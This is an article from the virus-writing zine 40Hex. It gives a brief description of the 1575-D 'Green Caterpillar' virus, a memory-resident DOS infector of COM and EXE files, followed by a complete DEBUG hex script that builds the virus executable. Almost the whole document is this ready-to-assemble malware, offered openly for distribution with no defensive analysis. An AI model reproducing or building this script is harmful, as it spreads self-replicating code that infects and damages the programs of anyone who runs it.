40Hex Issue 10 Volume 3 Number 1 File 005 This is the 1575-D, or Green Caterpillar virus. This resident COM and EXE infector is so named for the little green caterpillar which will occasionally crawl across the screen and eat up characters as it goes along. It is otherwise unremarkable. ------------------------------------------------------------------------------- n 1575-d.com e 0100 0E 8C C8 05 3F 00 50 B8 00 01 50 CB 00 00 00 00 e 0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 04E0 00 00 00 00 00 00 00 00 8B 07 2E FF 36 F8 07 2E e 04F0 EB 4A 90 60 14 34 02 53 FF 00 F0 CD 20 00 00 00 e 0500 00 00 00 00 00 00 00 7E A4 0A 03 00 01 00 00 00 e 0510 01 0A 03 00 00 9C 0E 00 00 60 36 05 00 AA 43 B5 e 0520 9A 97 03 00 40 89 0E B4 0D 7A 04 71 EA 56 34 02 e 0530 00 00 00 00 78 F8 00 F0 5C 07 70 00 06 1E 8C C0 e 0540 0E 1F 0E 07 A3 35 01 8C D0 A3 2B 01 B0 02 E6 20 e 0550 FC 33 C0 8E D8 33 F6 BF 3C 01 B9 10 00 F2 A4 1E e 0560 17 BD 08 00 87 EC E8 4C 00 E9 C6 03 E8 5D 04 E8 e 0570 AB 00 74 0E A0 24 07 50 E8 13 01 58 A2 24 07 EB e 0580 13 90 E8 76 02 E8 95 02 80 3E 24 07 00 75 05 B8 e 0590 00 4C CD 21 80 3E 24 07 43 75 31 1F 07 0E 1F 07 e 05A0 06 BF 00 01 BE 0B 01 B9 0C 00 F2 A4 06 1F B8 00 e 05B0 01 50 33 C0 CB BE 06 00 AD 3D 92 01 74 DD 3D 79 e 05C0 01 75 03 E9 A9 00 3D DC 01 74 01 C3 1F 07 2E 8B e 05D0 1E 19 01 2E 2B 1E 31 01 8C C8 2B C3 8E D0 2E 8B e 05E0 2E 33 01 87 EC 2E 8B 1E 21 01 2E 2B 1E 23 01 8C e 05F0 C8 2B C3 50 2E A1 25 01 50 CB 23 1A 3C 23 2F 2D e 0600 2D 21 2E 24 0E 23 2F 2D E0 41 3A 31 35 37 35 2D e 0610 44 2E 43 4F 4D 00 00 00 24 24 24 24 24 B8 02 3D e 0620 BA 19 02 CD 21 73 02 F8 C3 A3 2B 01 BA 73 06 B8 e 0630 24 25 CD 21 B8 02 42 8B 1E 2B 01 B9 FF FF BA FE e 0640 FF CD 21 BA 7D 02 B4 3F 8B 1E 2B 01 B9 02 00 CD e 0650 21 B4 3E CD 21 1E 8B 16 39 01 A1 37 01 8E D8 B8 e 0660 24 25 CD 21 1F 81 3E 7D 02 0C 0A F8 C3 00 00 3D e 0670 2D 02 74 1A 1E 07 0E 1F A1 2B 01 8E D0 87 EC BE e 0680 3C 01 BF 00 00 B9 10 00 FC F2 A4 E9 DE FE B0 43 e 0690 A2 24 07 B0 08 E6 70 E4 71 A2 3B 01 BA 19 02 B8 e 06A0 02 3D CD 21 73 01 C3 A3 2B 01 BA 0B 01 8B 1E 2B e 06B0 01 B9 0C 00 B4 3F CD 21 B8 02 42 33 C9 33 D2 CD e 06C0 21 50 05 10 00 25 F0 FF 50 D1 E8 D1 E8 D1 E8 D1 e 06D0 E8 BF 1F 03 AB 58 5B 2B C3 B9 27 06 03 C8 BA 00 e 06E0 01 2B D0 8B 1E 2B 01 B4 40 CD 21 B8 00 42 33 C9 e 06F0 33 D2 CD 21 B4 40 8B 1E 2B 01 B9 0C 00 BA 1B 03 e 0700 CD 21 B4 3E 8B 1E 2B 01 CD 21 C3 0E 8C C8 05 3F e 0710 00 50 B8 00 01 50 CB B0 45 A2 24 07 B0 08 E6 70 e 0720 E4 71 A2 3B 01 BA 19 02 B8 02 3D CD 21 73 01 C3 e 0730 A3 2B 01 BA 0B 01 8B 1E 2B 01 B9 18 00 B4 3F CD e 0740 21 B8 02 42 B9 00 00 BA 00 00 CD 21 50 05 10 00 e 0750 83 D2 00 25 F0 FF 89 16 27 01 A3 29 01 B9 27 07 e 0760 81 E9 00 01 03 C1 83 D2 00 B9 00 02 F7 F1 40 A3 e 0770 0F 01 89 16 0D 01 A1 21 01 A3 23 01 A1 1F 01 A3 e 0780 25 01 A1 19 01 A3 31 01 A1 1B 01 A3 33 01 8B 16 e 0790 27 01 A1 29 01 B9 10 00 F7 F1 2D 10 00 2B 06 13 e 07A0 01 A3 21 01 A3 19 01 C7 06 1F 01 00 01 C7 06 1B e 07B0 01 00 01 B8 00 42 33 C9 BA 02 00 CD 21 BA 0D 01 e 07C0 8B 1E 2B 01 B9 16 00 B4 40 CD 21 B8 02 42 33 C9 e 07D0 33 D2 CD 21 BA 00 01 A1 29 01 59 2B C1 2B D0 B9 e 07E0 27 07 03 C8 81 E9 00 01 B4 40 CD 21 B4 3E CD 21 e 07F0 C3 51 B9 00 00 B4 4E CD 21 59 C3 06 B8 1C 35 CD e 0800 21 2E 89 1E 07 01 2E 8C 06 09 01 B8 21 35 CD 21 e 0810 06 58 2E A3 05 01 2E 89 1E 03 01 07 C3 50 06 1E e 0820 33 C0 8E C0 BE 86 00 26 8B 04 8E D8 BE 25 07 81 e 0830 3C 0C 0A 75 09 1E 58 E8 B7 01 1F 07 58 C3 0E 1F e 0840 A1 35 01 48 8E C0 26 80 3E 00 00 5A 74 03 EB 44 e 0850 90 26 A1 03 00 B9 37 07 D1 E9 D1 E9 D1 E9 D1 E9 e 0860 2B C1 72 30 26 A3 03 00 26 29 0E 12 00 0E 1F 26 e 0870 A1 12 00 50 07 BE 00 01 56 5F B9 27 06 FC F2 A4 e 0880 06 2B C0 8E C0 BE 84 00 BA A8 04 26 89 14 46 46 e 0890 58 26 89 04 1F 07 58 C3 3C 57 75 03 EB 1E 90 80 e 08A0 FC 1A 75 06 E8 17 01 EB 13 90 80 FC 11 75 04 E8 e 08B0 0F 00 CF 80 FC 12 75 04 E8 C1 00 CF 2E FF 2E 03 e 08C0 01 B0 57 CD 21 50 51 52 53 55 56 57 1E 06 0E 1F e 08D0 0E 07 2E C6 06 CD 05 00 90 E8 18 00 75 0C E8 3C e 08E0 FD 74 07 E8 54 01 FE 0E CD 05 07 1F 5F 5E 5D 5B e 08F0 5A 59 58 C3 0E 07 0E 07 FC E8 36 00 73 04 83 FF e 0900 00 C3 BF 19 02 B0 2E B9 0B 00 F2 AE 81 3D 43 4F e 0910 75 0D 80 7D 02 4D 75 07 C6 06 24 07 43 90 C3 81 e 0920 3D 45 58 75 0C 80 7D 02 45 75 06 C6 06 24 07 45 e 0930 90 C3 1E 2E 8B 36 2D 01 2E A1 2F 01 8E D8 BF 19 e 0940 02 AC 3C FF 75 07 83 C6 06 AC EB 08 90 3C 05 72 e 0950 03 1F F9 C3 B9 0B 00 3C 00 74 06 04 40 AA B0 3A e 0960 AA AC 3C 20 74 04 AA EB 0B 90 26 80 7D FF 2E 74 e 0970 03 B0 2E AA E2 EB B0 00 AA 1F F8 C3 B0 57 CD 21 e 0980 50 51 52 53 55 56 57 1E 06 0E 1F 0E 07 2E 80 3E e 0990 CD 05 00 74 03 EB 1C 90 E8 59 FF 75 16 E8 7D FC e 09A0 74 11 E8 95 00 FE 0E CD 05 07 1F 5F 5E 5D 5B 5A e 09B0 59 58 C3 07 1F 5F 5E 5D 5B 5A 59 58 C3 00 50 1E e 09C0 58 2E A3 2F 01 2E 89 16 2D 01 58 C3 0E B0 00 E6 e 09D0 20 B8 24 35 CD 21 89 1E 39 01 8C C3 89 1E 37 01 e 09E0 07 BE 0A 02 BF 19 02 B9 0F 00 AC 04 20 AA E2 FA e 09F0 C3 50 0E 1F 0E 07 8A 1E 3B 01 80 FB 0C 77 39 80 e 0A00 FB 00 74 34 B0 08 E6 70 E4 71 3C 0C 77 2A 3C 00 e 0A10 74 26 3A C3 74 22 FE C3 E8 14 00 3A C3 74 19 FE e 0A20 C3 E8 0B 00 3A C3 74 10 1F E8 3A 00 0E 1F C3 80 e 0A30 FB 0C 76 03 80 EB 0C C3 58 C3 BA 73 06 B8 24 25 e 0A40 CD 21 80 3E 24 07 43 75 06 E8 42 FC EB 04 90 E8 e 0A50 C5 FC 1E 8B 16 39 01 A1 37 01 8E D8 B8 24 25 CD e 0A60 21 1F C3 B0 03 CF BA B0 06 B8 1C 25 CD 21 C6 06 e 0A70 B0 06 90 90 B8 00 B8 8E C0 BF A0 0F B8 20 07 B9 e 0A80 0B 00 F2 AB 0E 07 C3 00 00 00 20 07 0F 0A 0F 0A e 0A90 0F 0A 0F 0A 0F 0A 0F 0A 0F 0A 0F 0A F7 0E EE 0C e 0AA0 90 FB 50 51 52 53 55 56 57 1E 06 0E 1F EB 0B 90 e 0AB0 07 1F 5F 5E 5D 5B 5A 59 58 CF B8 00 B8 8E C0 E8 e 0AC0 2B 00 BE 9A 06 B9 16 00 F2 A4 80 3E AE 06 EE 74 e 0AD0 08 C6 06 AE 06 EE EB 06 90 C6 06 AE 06 F0 26 8B e 0AE0 05 B4 0E A3 9A 06 C6 06 99 06 00 EB C3 BF 00 00 e 0AF0 BE 9C 06 57 B9 12 00 FC F3 A6 5F 74 0B 47 47 81 e 0B00 FF A0 0F 75 EB BF 00 00 81 FF 9E 0F 75 05 C6 06 e 0B10 B0 06 CF C3 43 0C 0A rcx 0A17 w q ------------------------------------------------------------------------------- DA